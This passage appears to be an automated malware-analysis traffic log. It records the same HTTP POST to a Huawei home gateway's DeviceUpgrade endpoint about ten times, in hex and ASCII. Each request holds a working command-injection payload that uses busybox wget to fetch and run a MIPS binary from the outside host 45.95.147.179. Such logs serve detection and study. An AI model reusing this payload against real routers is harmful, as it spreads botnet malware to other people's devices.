3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
